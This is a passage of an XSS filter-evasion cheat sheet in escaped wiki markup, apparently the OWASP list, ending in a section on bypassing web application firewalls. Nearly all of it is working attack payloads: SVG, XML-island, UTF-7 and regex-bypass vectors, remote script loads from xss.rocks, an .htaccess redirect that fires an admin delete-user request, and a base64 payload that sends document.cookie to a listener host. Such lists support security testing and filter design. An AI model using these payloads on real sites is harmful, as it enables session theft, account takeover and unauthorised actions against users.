org/xss.swf&amp;quot; AllowScriptAccess=&amp;quot;always&amp;quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== You can EMBED SVG which can contain your XSS vector ==&lt;br /&gt;
This example only works in Firefox, but it's better than the above vector in Firefox because it does not require the user to have Flash turned on or installed. Thanks to nEUrOO for this one.&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;EMBED SRC=&amp;quot;data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==&amp;quot; type=&amp;quot;image/svg+xml&amp;quot; AllowScriptAccess=&amp;quot;always&amp;quot;&amp;gt;&amp;lt;/EMBED&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Using ActionScript inside flash can obfuscate your XSS vector ==&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;a=&amp;quot;get&amp;quot;;&lt;br /&gt;
b=&amp;quot;URL(\&amp;quot;&amp;quot;;&lt;br /&gt;
c=&amp;quot;javascript:&amp;quot;;&lt;br /&gt;
d=&amp;quot;alert('XSS');\&amp;quot;)&amp;quot;;&lt;br /&gt;
eval(a+b+c+d);&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== XML data island with CDATA obfuscation ==&lt;br /&gt;
This XSS attack works only in IE and Netscape 8.1 in IE rendering engine mode) - vector found by Sec Consult while auditing Yahoo:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;XML ID=&amp;quot;xss&amp;quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;amp;lt;IMG SRC=&amp;quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&amp;quot;&amp;amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/XML&amp;gt;&lt;br /&gt;
&amp;lt;SPAN DATASRC=&amp;quot;#xss&amp;quot; DATAFLD=&amp;quot;B&amp;quot; DATAFORMATAS=&amp;quot;HTML&amp;quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Locally hosted XML with embedded JavaScript that is generated using an XML data island ==&lt;br /&gt;
This is the same as above but instead referrs to a locally hosted (must be on the same server) XML file that contains your cross site scripting vector. You can see the result here:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;XML SRC=&amp;quot;xsstest.xml&amp;quot; ID=I&amp;gt;&amp;lt;/XML&amp;gt;&lt;br /&gt;
&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== HTML+TIME in XML ==&lt;br /&gt;
This is how Grey Magic hacked Hotmail and Yahoo!. This only works in Internet Explorer and Netscape 8.1 in IE rendering engine mode and remember that you need to be between HTML and BODY tags for this to work:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;HTML&amp;gt;&amp;lt;BODY&amp;gt;&lt;br /&gt;
&amp;lt;?xml:namespace prefix=&amp;quot;t&amp;quot; ns=&amp;quot;urn:schemas-microsoft-com:time&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?import namespace=&amp;quot;t&amp;quot; implementation=&amp;quot;#default#time2&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;t:set attributeName=&amp;quot;innerHTML&amp;quot; to=&amp;quot;XSS&amp;amp;lt;SCRIPT DEFER&amp;amp;gt;alert(&amp;amp;quot;XSS&amp;amp;quot;)&amp;amp;lt;/SCRIPT&amp;amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;/BODY&amp;gt;&amp;lt;/HTML&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Assuming you can only fit in a few characters and it filters against &amp;quot;.js&amp;quot; ==&lt;br /&gt;
you can rename your JavaScript file to an image as an XSS vector:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT SRC=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;xss.rocks/xss.jpg&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== SSI (Server Side Includes)== &lt;br /&gt;
This requires SSI to be installed on the server to use this XSS vector. I probably don't need to mention this, but if you can run commands on the server there are no doubt much more serious issues:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;!--#exec cmd=&amp;quot;/bin/echo '&amp;lt;SCR'&amp;quot;--&amp;gt;&amp;lt;!--#exec cmd=&amp;quot;/bin/echo 'IPT SRC=http://xss.rocks/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;'&amp;quot;--&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== PHP ==&lt;br /&gt;
Requires PHP to be installed on the server to use this XSS vector. Again, if you can run any scripts remotely like this, there are probably much more dire issues:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;? echo('&amp;lt;SCR)';&lt;br /&gt;
echo('IPT&amp;gt;alert(&amp;quot;XSS&amp;quot;)&amp;lt;/SCRIPT&amp;gt;'); ?&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== IMG Embedded commands ==&lt;br /&gt;
This works when the webpage where this is injected (like a web-board) is behind password protection and that password protection works with other commands on the same domain. This can be used to delete users, add users (if the user who visits the page is an administrator), send credentials elsewhere, etc.... This is one of the lesser used but more useful XSS vectors:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;IMG SRC=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== IMG Embedded commands part II ===&lt;br /&gt;
This is more scary because there are absolutely no identifiers that make it look suspicious other than it is not hosted on your own domain. The vector uses a 302 or 304 (others work too) to redirect the image back to a command. So a normal &amp;amp;lt;IMG SRC=&amp;quot;httx://badguy.com/a.jpg&amp;quot;&amp;amp;gt; could actually be an attack vector to run commands as the user who views the image link. Here is the .htaccess (under Apache) line to accomplish the vector (thanks to Timo for part of this):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;Redirect 302 /a.jpg http://victimsite.com/admin.asp&amp;amp;deleteuser&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Cookie manipulation ==&lt;br /&gt;
Admittedly this is pretty obscure but I have seen a few examples where &amp;lt;META is allowed and you can use it to overwrite cookies. There are other examples of sites where instead of fetching the username from a database it is stored inside of a cookie to be displayed only to the user who visits the page. With these two scenarios combined you can modify the victim's cookie which will be displayed back to them as JavaScript (you can also use this to log people out or change their user states, get them to log in as you, etc...):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;Set-Cookie&amp;quot; Content=&amp;quot;USERID=&amp;amp;lt;SCRIPT&amp;amp;gt;alert('XSS')&amp;amp;lt;/SCRIPT&amp;amp;gt;&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== UTF-7 encoding ==&lt;br /&gt;
If the page that the XSS resides on doesn't provide a page charset header, or any browser that is set to UTF-7 encoding can be exploited with the following (Thanks to Roman Ivanov for this one). Click here for an example (you don't need the charset statement if the user's browser is set to auto-detect and there is no overriding content-types on the page in Internet Explorer and Netscape 8.1 in IE rendering engine mode). This does not work in any modern browser without changing the encoding type which is why it is marked as completely unsupported. Watchfire found this hole in Google's custom 404 script.: &lt;br /&gt;
  &amp;lt;nowiki&amp;gt;&amp;lt;HEAD&amp;gt;&amp;lt;META HTTP-EQUIV=&amp;quot;CONTENT-TYPE&amp;quot; CONTENT=&amp;quot;text/html; charset=UTF-7&amp;quot;&amp;gt; &amp;lt;/HEAD&amp;gt;+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== XSS using HTML quote encapsulation ==&lt;br /&gt;
This was tested in IE, your mileage may vary. For performing XSS on sites that allow &amp;quot;&amp;lt;SCRIPT&amp;gt;&amp;quot; but don't allow &amp;quot;&amp;lt;SCRIPT SRC...&amp;quot; by way of a regex filter &amp;quot;/&amp;lt;script[^&amp;gt;]+src/i&amp;quot;:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT a=&amp;quot;&amp;gt;&amp;quot; SRC=&amp;quot;httx://xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
For performing XSS on sites that allow &amp;quot;&amp;lt;SCRIPT&amp;gt;&amp;quot; but don't allow &amp;quot;&amp;lt;script src...&amp;quot; by way of a regex filter &amp;quot;/&amp;lt;script((\s+\w+(\s*=\s*(?:&amp;quot;(.)*?&amp;quot;|'(.)*?'|[^'&amp;quot;&amp;gt;\s]+))?)+\s*|\s*)src/i&amp;quot; (this is an important one, because I've seen this regex in the wild):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT =&amp;quot;&amp;gt;&amp;quot; SRC=&amp;quot;httx://xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Another XSS to evade the same filter, &amp;quot;/&amp;lt;script((\s+\w+(\s*=\s*(?:&amp;quot;(.)*?&amp;quot;|'(.)*?'|[^'&amp;quot;&amp;gt;\s]+))?)+\s*|\s*)src/i&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT a=&amp;quot;&amp;gt;&amp;quot; '' SRC=&amp;quot;httx://xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Yet another XSS to evade the same filter, &amp;quot;/&amp;lt;script((\s+\w+(\s*=\s*(?:&amp;quot;(.)*?&amp;quot;|'(.)*?'|[^'&amp;quot;&amp;gt;\s]+))?)+\s*|\s*)src/i&amp;quot;. I know I said I wasn't goint to discuss mitigation techniques but the only thing I've seen work for this XSS example if you still want to allow &amp;lt;SCRIPT&amp;gt; tags but not remote script is a state machine (and of course there are other ways to get around this if they allow &amp;lt;SCRIPT&amp;gt; tags):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT &amp;quot;a='&amp;gt;'&amp;quot; SRC=&amp;quot;httx://xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
And one last XSS attack to evade, &amp;quot;/&amp;lt;script((\s+\w+(\s*=\s*(?:&amp;quot;(.)*?&amp;quot;|'(.)*?'|[^'&amp;quot;&amp;gt;\s]+))?)+\s*|\s*)src/i&amp;quot; using grave accents (again, doesn't work in Firefox):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT a=`&amp;gt;` SRC=&amp;quot;httx://xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Here's an XSS example that bets on the fact that the regex won't catch a matching pair of quotes but will rather find any quotes to terminate a parameter string improperly:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT a=&amp;quot;&amp;gt;'&amp;gt;&amp;quot; SRC=&amp;quot;httx://xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
This XSS still worries me, as it would be nearly impossible to stop this without blocking all active content:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;SCRIPT&amp;gt;document.write(&amp;quot;&amp;lt;SCRI&amp;quot;);&amp;lt;/SCRIPT&amp;gt;PT SRC=&amp;quot;httx://xss.rocks/xss.js&amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== URL string evasion ==&lt;br /&gt;
Assuming &amp;quot;http:&amp;amp;#47;&amp;amp;#47;www.google.com/&amp;quot; is pro grammatically disallowed:&lt;br /&gt;
&lt;br /&gt;
=== IP versus hostname ===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;66.102.7.147/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== URL encoding ===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Dword encoding ===&lt;br /&gt;
(Note: there are other of variations of Dword encoding - see the IP Obfuscation calculator below for more details):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;1113982867/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hex encoding ===&lt;br /&gt;
The total size of each number allowed is somewhere in the neighborhood of 240 total characters as you can see on the second digit, and since the hex number is between 0 and F the leading zero on the third hex quotet is not required):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;0x42.0x0000066.0x7.0x93/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Octal encoding ===&lt;br /&gt;
Again padding is allowed, although you must keep it above 4 total characters per class - as in class A, class B, etc...:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;0102.0146.0007.00000223/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Base64 encoding ===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;img onload=&amp;quot;eval(atob('ZG9jdW1lbnQubG9jYXRpb249Imh0dHA6Ly9saXN0ZXJuSVAvIitkb2N1bWVudC5jb29raWU='))&amp;quot;&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Mixed encoding === &lt;br /&gt;
Let's mix and match base encoding and throw in some tabs and newlines - why browsers allow this, I'll never know). The tabs and newlines only work if this is encapsulated with quotes:&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;h&lt;br /&gt;
tt	p://6&amp;amp;#9;6.000146.0x7.147/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Protocol resolution bypass ===&lt;br /&gt;
(// translates to http:// which saves a few more bytes). This is really handy when space is an issue too (two less characters can go a long way) and can easily bypass regex like &amp;quot;(ht|f)tp(s)?://&amp;quot; (thanks to Ozh for part of this one). You can also change the &amp;quot;//&amp;quot; to &amp;quot;\\&amp;quot;. You do need to keep the slashes in place, however, otherwise this will be interpreted as a relative path URL.&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;//www.google.com/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Google &amp;quot;feeling lucky&amp;quot; part 1. ===&lt;br /&gt;
Firefox uses Google's &amp;quot;feeling lucky&amp;quot; function to redirect the user to any keywords you type in. So if your exploitable page is the top for some random keyword (as you see here) you can use that feature against any Firefox user. This uses Firefox's &amp;quot;keyword:&amp;quot; protocol. You can concatenate several keywords by using something like the following &amp;quot;keyword:XSS+RSnake&amp;quot; for instance. This no longer works within Firefox as of 2.0. &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;//google&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Google &amp;quot;feeling lucky&amp;quot; part 2.===&lt;br /&gt;
This uses a very tiny trick that appears to work Firefox only, because if it's implementation of the &amp;quot;feeling lucky&amp;quot; function. Unlike the next one this does not work in Opera because Opera believes that this is the old HTTP Basic Auth phishing attack, which it is not. It's simply a malformed URL. If you click okay on the dialogue it will work, but as a result of the erroneous dialogue box I am saying that this is not supported in Opera, and it is no longer supported in Firefox as of 2.0:&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;ha.ckers.org@google&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Google &amp;quot;feeling lucky&amp;quot; part 3. === &lt;br /&gt;
This uses a malformed URL that appears to work in Firefox and Opera only, because if their implementation of the &amp;quot;feeling lucky&amp;quot; function. Like all of the above it requires that you are #1 in Google for the keyword in question (in this case &amp;quot;google&amp;quot;):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;google:ha.ckers.org&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Removing cnames  ===&lt;br /&gt;
When combined with the above URL, removing &amp;quot;www.&amp;quot; will save an additional 4 bytes for a total byte savings of 9 for servers that have this set up properly):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;google.com/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Extra dot for absolute DNS:===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http:&amp;amp;#47;&amp;amp;#47;www.google.com./&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== JavaScript link location: ===&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;javascript:document.location='http://www.google.com/'&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Content replace as attack vector ===&lt;br /&gt;
Assuming &amp;quot;http:&amp;amp;#47;&amp;amp;#47;www.google.com/&amp;quot; is programmatically replaced with nothing). I actually used a similar attack vector against a several separate real world XSS filters by using the conversion filter itself (here is an example) to help create the attack vector (IE: &amp;quot;java&amp;amp;#x26;#x09;script:&amp;quot; was converted into &amp;quot;java&amp;amp;#x09;script:&amp;quot;, which renders in IE, Netscape 8.1+ in secure site mode and Opera):&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;A HREF=&amp;quot;http://www.google.com/ogle.com/&amp;quot;&amp;gt;XSS&amp;lt;/A&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Character escape sequences ==&lt;br /&gt;
All the possible combinations of the character &amp;quot;&amp;lt;&amp;quot; in HTML and JavaScript. Most of these won't render out of the box, but many of them can get rendered in certain circumstances as seen above.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;&lt;br /&gt;
 %3C&lt;br /&gt;
 &amp;amp;amp;lt&lt;br /&gt;
 &amp;amp;amp;lt;&lt;br /&gt;
 &amp;amp;amp;LT&lt;br /&gt;
 &amp;amp;amp;LT;&lt;br /&gt;
 &amp;amp;amp;#60&lt;br /&gt;
 &amp;amp;amp;#060&lt;br /&gt;
 &amp;amp;amp;#0060&lt;br /&gt;
 &amp;amp;amp;#00060&lt;br /&gt;
 &amp;amp;amp;#000060&lt;br /&gt;
 &amp;amp;amp;#0000060&lt;br /&gt;
 &amp;amp;amp;#60;&lt;br /&gt;
 &amp;amp;amp;#060;&lt;br /&gt;
 &amp;amp;amp;#0060;&lt;br /&gt;
 &amp;amp;amp;#00060;&lt;br /&gt;
 &amp;amp;amp;#000060;&lt;br /&gt;
 &amp;amp;amp;#0000060;&lt;br /&gt;
 &amp;amp;amp;#x3c&lt;br /&gt;
 &amp;amp;amp;#x03c&lt;br /&gt;
 &amp;amp;amp;#x003c&lt;br /&gt;
 &amp;amp;amp;#x0003c&lt;br /&gt;
 &amp;amp;amp;#x00003c&lt;br /&gt;
 &amp;amp;amp;#x000003c&lt;br /&gt;
 &amp;amp;amp;#x3c;&lt;br /&gt;
 &amp;amp;amp;#x03c;&lt;br /&gt;
 &amp;amp;amp;#x003c;&lt;br /&gt;
 &amp;amp;amp;#x0003c;&lt;br /&gt;
 &amp;amp;amp;#x00003c;&lt;br /&gt;
 &amp;amp;amp;#x000003c;&lt;br /&gt;
 &amp;amp;amp;#X3c&lt;br /&gt;
 &amp;amp;amp;#X03c&lt;br /&gt;
 &amp;amp;amp;#X003c&lt;br /&gt;
 &amp;amp;amp;#X0003c&lt;br /&gt;
 &amp;amp;amp;#X00003c&lt;br /&gt;
 &amp;amp;amp;#X000003c&lt;br /&gt;
 &amp;amp;amp;#X3c;&lt;br /&gt;
 &amp;amp;amp;#X03c;&lt;br /&gt;
 &amp;amp;amp;#X003c;&lt;br /&gt;
 &amp;amp;amp;#X0003c;&lt;br /&gt;
 &amp;amp;amp;#X00003c;&lt;br /&gt;
 &amp;amp;amp;#X000003c;&lt;br /&gt;
 &amp;amp;amp;#x3C&lt;br /&gt;
 &amp;amp;amp;#x03C&lt;br /&gt;
 &amp;amp;amp;#x003C&lt;br /&gt;
 &amp;amp;amp;#x0003C&lt;br /&gt;
 &amp;amp;amp;#x00003C&lt;br /&gt;
 &amp;amp;amp;#x000003C&lt;br /&gt;
 &amp;amp;amp;#x3C;&lt;br /&gt;
 &amp;amp;amp;#x03C;&lt;br /&gt;
 &amp;amp;amp;#x003C;&lt;br /&gt;
 &amp;amp;amp;#x0003C;&lt;br /&gt;
 &amp;amp;amp;#x00003C;&lt;br /&gt;
 &amp;amp;amp;#x000003C;&lt;br /&gt;
 &amp;amp;amp;#X3C&lt;br /&gt;
 &amp;amp;amp;#X03C&lt;br /&gt;
 &amp;amp;amp;#X003C&lt;br /&gt;
 &amp;amp;amp;#X0003C&lt;br /&gt;
 &amp;amp;amp;#X00003C&lt;br /&gt;
 &amp;amp;amp;#X000003C&lt;br /&gt;
 &amp;amp;amp;#X3C;&lt;br /&gt;
 &amp;amp;amp;#X03C;&lt;br /&gt;
 &amp;amp;amp;#X003C;&lt;br /&gt;
 &amp;amp;amp;#X0003C;&lt;br /&gt;
 &amp;amp;amp;#X00003C;&lt;br /&gt;
 &amp;amp;amp;#X000003C;&lt;br /&gt;
 \x3c&lt;br /&gt;
 \x3C&lt;br /&gt;
 \u003c&lt;br /&gt;
 \u003C&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Methods to Bypass WAF – Cross-Site Scripting =&lt;br /&gt;
&lt;br /&gt;
General issues&amp;lt;br&amp;gt;&lt;br /&gt;
• Stored XSS&lt;br /&gt;
&lt;br /&gt;
If an attacker managed to push XSS through the filter, WAF wouldn’t be able to prevent the attack conduction.&amp;lt;br&amp;gt;&lt;br /&gt;
• Reflected XSS in Javascript&lt;br /&gt;
  Example: &amp;lt;script&amp;gt; ... setTimeout(\&amp;quot;writetitle()\&amp;quot;,$_GET[xss]) ... &amp;lt;/script&amp;gt;&lt;br /&gt;
  Exploitation: /?xss=500); alert(document.cookie);//&lt;br /&gt;
• DOM-based XSS&lt;br /&gt;
  Example: &amp;lt;script&amp;gt; ... eval($_GET[xss]); ... &amp;lt;/script&amp;gt;&lt;br /&gt;
  Exploitation: /?xss=document.cookie&lt;br /&gt;
&amp;lt;b&amp;gt;XSS via request Redirection.&amp;lt;/b&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
• Vulnerable code:&lt;br /&gt;
  ...&lt;br /&gt;
  header('Location: '.$_GET['param']);&lt;br /&gt;
  ...&lt;br /&gt;
As well as:&lt;br /&gt;
  ...&lt;br /&gt;
  header('Refresh: 0; URL='.$_GET['param']);&lt;br /&gt;
  ...&lt;br /&gt;
• This request will not pass through the WAF:&lt;br /&gt;
  /?param=javascript:alert(document.cookie)&lt;br /&gt;
• This request will pass through the WAF and an XSS attack will be conducted in certain browsers.&lt;br /&gt;
  /?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;WAF ByPass Strings for XSS.&amp;lt;/b&amp;gt;&lt;br /&gt;
 &amp;lt;Img src = x onerror = &amp;quot;javascript: window.onerror = alert; throw XSS&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;Video&amp;gt; &amp;lt;source onerror = &amp;quot;javascript: alert (XSS)&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;Input value = &amp;quot;XSS&amp;quot; type = text&amp;gt;&lt;br /&gt;
 &amp;lt;applet code=&amp;quot;javascript:confirm(document.cookie);&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;isindex x=&amp;quot;javascript:&amp;quot; onmouseover=&amp;quot;alert(XSS)&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;”&amp;gt;’&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&lt;br /&gt;
 &amp;quot;&amp;gt;&amp;lt;img src=&amp;quot;x:x&amp;quot; onerror=&amp;quot;alert(XSS)&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;quot;&amp;gt;&amp;lt;iframe src=&amp;quot;javascript:alert(XSS)&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;object data=&amp;quot;javascript:alert(XSS)&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;isindex type=image src=1 onerror=alert(XSS)&amp;gt;&lt;br /&gt;
 &amp;lt;img src=x:alert(alt) onerror=eval(src) alt=0&amp;gt;&lt;br /&gt;
 &amp;lt;img  src=&amp;quot;x:gif&amp;quot; onerror=&amp;quot;window['al\u0065rt'](0)&amp;quot;&amp;gt;&amp;lt;/img&amp;gt;&lt;br /&gt;
 &amp;lt;iframe/src=&amp;quot;data:text/html,&amp;lt;svg &amp;amp;#111;&amp;amp;#110;load=alert(1)&amp;gt;&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;meta content=&amp;quot;&amp;amp;NewLine; 1 &amp;amp;NewLine;; JAVASCRIPT&amp;amp;colon; alert(1)&amp;quot; http-equiv=&amp;quot;refresh&amp;quot;/&amp;gt;&lt;br /&gt;
 &amp;lt;svg&amp;gt;&amp;lt;script xlink:href=data&amp;amp;colon;,window.open('https://www.google.com/')&amp;gt;&amp;lt;/script&lt;br /&gt;
 &amp;lt;meta http-equiv=&amp;quot;refresh&amp;quot; content=&amp;quot;0;url=javascript:confirm(1)&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;iframe src=javascript&amp;amp;colon;alert&amp;amp;lpar;document&amp;amp;period;location&amp;amp;rpar;&amp;gt;&lt;br /&gt;
 &amp;lt;form&amp;gt;&amp;lt;a href=&amp;quot;javascript:\u0061lert&amp;amp;#x28;1&amp;amp;#x29;&amp;quot;&amp;gt;X&lt;br /&gt;
 &amp;lt;/script&amp;gt;&amp;lt;img/*%00/src=&amp;quot;worksinchrome&amp;amp;colon;prompt&amp;amp;#x28;1&amp;amp;#x29;&amp;quot;/%00*/onerror='eval(src)'&amp;gt;&lt;br /&gt;
